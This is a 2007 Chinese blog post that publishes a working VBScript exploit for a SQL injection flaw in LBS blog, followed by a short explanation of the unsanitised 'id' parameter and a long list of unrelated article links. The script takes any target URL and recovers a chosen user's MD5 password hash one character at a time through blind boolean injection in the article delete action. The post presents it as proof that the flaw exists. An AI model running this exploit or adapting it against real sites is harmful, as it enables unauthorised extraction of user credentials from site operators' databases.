LBS blog sql注射漏洞[All version]-官方已有补丁


Posted in Javascript onAugust 26, 2007

呵呵,只是证明下漏洞存在
exp如下,保存为vbs,自己下个程序测试自己吧

'From 剑心
'============================================================================
'使用说明:
' 在命令提示符下:
' cscript.exe lbsblog.vbs 要攻击的网站的博客路径 有效的文章id 要破解的博客用户密码
'如:
' cscript.exe lbsblog.vbs www.xxxx.com/blog/ 1 1
' by loveshell
'============================================================================
On Error Resume Next
Dim oArgs
Dim olbsXML 'XMLHTTP对象用来打开目标网址
Dim TargetURL '目标网址
Dim userid,articleid '博客用户名
Dim TempStr '存放已获取的部分 MD5密码
Dim CharHex '定义16进制字符
Dim charset

Set oArgs = WScript.arguments
If oArgs.count < 1 Then Call ShowUsage()

Set olbsXML = createObject("Microsoft.XMLHTTP")

'补充完整目标网址
TargetURL = oArgs(0)
If LCase(Left(TargetURL,7)) <> "http://" Then TargetURL = "http://" & TargetURL
If right(TargetURL,1) <> "/" Then TargetURL = TargetURL & "/"
TargetURL=TargetURL & "article.asp"

articleid=oArgs(1)
userid=oArgs(2)
TempStr=""
CharHex=Split("0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f",",")

WScript.echo "LBS blog All version Exploit"&vbcrlf
WScript.echo "By 剑心"&vbcrlf
WScript.echo "http://www.loveshell.net/    Just For fun :)"&vbcrlf&vbcrlf
WScript.echo "+Fuck the site now"&vbcrlf

Call main(TargetURL,BlogName) 

Set oBokeXML = Nothing

'----------------------------------------------sub-------------------------------------------------------
'============================================
'函数名称:main
'函数功能:主程序,注入获得blog 用户密码
'============================================
Sub main(TargetURL,BlogName)
Dim MainOffset,SubOffset,TempLen,OpenURL,GetPage
For MainOffset = 1 To 40
For SubOffset = 0 To 15
TempLen = 0
    postdata = ""
    postdata = articleid &" and (select left(user_password,"&MainOffset&") from blog_user where user_id=" & userid & ")='" & TempStr&CharHex(SubOffset) &"'"

    OpenURL = TargetURL

olbsXML.open "Post",OpenURL, False, "", ""
    olbsXML.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
olbsXML.send "act=delete&id="& escape(postdata)
GetPage = BytesToBstr(olbsXML.ResponseBody)
'判断访问的页面是否存在
If InStr(GetPage,"deleted")<>0 Then 
'"博客用户不存在或填写的资料有误" 为错误标志 ,返回此标志说明 猜解的 MD5 不正确
'如果得到 0000000000000000 的 MD5 值,请修改错误标志
ElseIf InStr(GetPage,"permission")<>0 Then
TempStr=TempStr & CharHex(SubOffset)
WScript.Echo "+Crack now:"&TempStr
Exit for
Else
WScript.echo vbcrlf & "Something error" & vbcrlf 
WScript.echo vbcrlf & GetPage& vbcrlf 
WScript.Quit
End If 
next
Next
WScript.Echo vbcrlf& "+We Got It:" & TempStr & vbcrlf &vbcrlf&":P Don't Be evil"
End sub

'============================================
'函数名称:BytesToBstr
'函数功能:将XMLHTTP对象中的内容转化为GB2312编码
'============================================
Function BytesToBstr(body)
dim objstream
set objstream = createObject("ADODB.Stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = "GB2312"
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function

'============================
'函数名称:ShowUsage
'函数功能:使用方法提示
'============================
Sub ShowUsage()
WScript.echo " LBS blog Exploit" & vbcrlf & " By Loveshell/剑心"
WScript.echo "Usage:"& vbcrlf & " CScript " & WScript.ScriptFullName &" TargetURL BlogName"
WScript.echo "Example:"& vbcrlf & " CScript " & WScript.ScriptFullName &" http://www.loveshell.net/ 1 1"
WScript.echo ""
WScript.Quit
End Sub

漏洞说明:

src_article.asp中的
......
input["log_id"]=func.checkInt(input["log_id"]);
if(!input["id"]){
strError=lang["invalid_parameter"];
}else{
// Check if the article exists
theArticle.load("log_id, log_authorID, log_catID","log_id="+input["id"]);
strError=false;
}
......

过滤的是log_id,但是使用的确实id,呵呵 :)

然后呢?
class/article.asp中的代码
this.load = function(strselect, strwhere){
var tmpA=connBlog.query("select TOP 1 "+strselect+" FROM [blog_Article] where "+strwhere);
if(tmpA){
this.fill(tmpA[0]);
return true;
}else{
return false;
}
}

上面不用说了吧,呵呵.不过触发要条件的,看能满足不哦!

function articledelete(){
if(theUser.rights["delete"]<1){
// Check User Right - without DB Query
pageHeader(lang["error"]);
redirectMessage(lang["error"], lang["no_rights"], lang["goback"], "javascript:window.history.back();", false, "errorbox");
}else{
var theArticle=new lbsArticle();
var strError;

默认情况下guest都有删除权限的,尽管后面还做了判断,但是注入已经发生,而我们正好利用他的判断注射,呵呵

Javascript 相关文章推荐
Jquery之Ajax运用 学习运用篇
Sep 26 Javascript
jquery中change()用法实例分析
Feb 06 Javascript
自定义百度分享的分享按钮
Mar 18 Javascript
JavaScript的RequireJS库入门指南
Jul 01 Javascript
如何使用jquery easyui创建标签组件
Nov 18 Javascript
基于JS实现省市联动效果代码分享
Jun 06 Javascript
js仿支付宝多方框输入支付密码效果
Sep 27 Javascript
jQuery Validate插件自定义验证规则的方法
Dec 27 Javascript
js图片上传的封装代码
Aug 01 Javascript
菊花转动的jquery加载动画效果
Aug 19 jQuery
vue中使用elementUI组件手动上传图片功能
Dec 13 Javascript
jQuery实现朋友圈查看图片
Sep 11 jQuery
javascript下操作css的float属性的特殊写法
Aug 22 #Javascript
ASP中用Join和Array,可以加快字符连接速度的代码
Aug 22 #Javascript
可以把编码转换成 gb2312编码lib.UTF8toGB2312.js
Aug 21 #Javascript
lib.utf.js
Aug 21 #Javascript
javascript实现上传图片前的预览(TX的面试题)
Aug 20 #Javascript
fix-ie5.js扩展在IE5下不能使用的几个方法
Aug 20 #Javascript
关于恒等于(===)和非恒等于(!==)
Aug 20 #Javascript
You might like
php select,radio和checkbox默认选择的实现方法
2010/05/15 PHP
PHP的fsockopen、pfsockopen函数被主机商禁用的解决办法
2014/07/08 PHP
js工具方法弹出蒙版
2013/05/08 Javascript
javascript检测对象中是否存在某个属性判断方法小结
2013/05/19 Javascript
javascript判断两个IP地址是否在同一个网段的实现思路
2013/12/13 Javascript
JavaScript中神奇的call()方法
2015/03/12 Javascript
JS定义类的六种方式详解
2016/05/12 Javascript
Bootstrap表格制作代码
2017/03/17 Javascript
JQuery EasyUI的一些常用组件
2017/07/12 jQuery
js实现日期显示的一些操作(实例讲解)
2017/07/27 Javascript
javaScript字符串工具类StringUtils详解
2017/12/08 Javascript
Vue+webpack项目基础配置教程
2018/02/12 Javascript
Js经典案例的实例代码
2018/05/10 Javascript
详解基于vue的服务端渲染框架NUXT
2018/06/20 Javascript
JavaScript实现图片懒加载的方法分析
2018/07/05 Javascript
详解mpvue中使用vant时需要注意的onChange事件的坑
2019/05/16 Javascript
JS获取动态添加元素的方法详解
2019/07/31 Javascript
0基础学习前端开发的一些建议
2020/07/14 Javascript
jQuery实现动态加载瀑布流
2020/09/01 jQuery
Python中方法链的使用方法
2016/02/23 Python
python 回调函数和回调方法的实现分析
2016/03/23 Python
用Python写一个无界面的2048小游戏
2016/05/24 Python
浅谈Python中chr、unichr、ord字符函数之间的对比
2016/06/16 Python
详解Python3除法之真除法、截断除法和下取整对比
2019/05/23 Python
Django中modelform组件实例用法总结
2020/02/10 Python
opencv 实现特定颜色线条提取与定位操作
2020/06/02 Python
详解HTML5中div和section以及article的区别
2015/07/14 HTML / CSS
墨西哥巴士车票在线购买:ClickBus
2018/03/27 全球购物
考察现实表现材料
2014/05/19 职场文书
简易版租房协议书范本
2014/10/13 职场文书
倡议书的格式写法
2015/04/28 职场文书
幼儿园开学家长寄语(2016秋季)
2015/12/03 职场文书
提取视频中的音频 Python只需要三行代码!
2021/05/10 Python
SQL Server表分区删除详情
2021/10/16 SQL Server
原型和原型链 prototype和proto的区别详情
2021/11/02 Javascript
Python正则表达式中flags参数的实例详解
2022/04/01 Python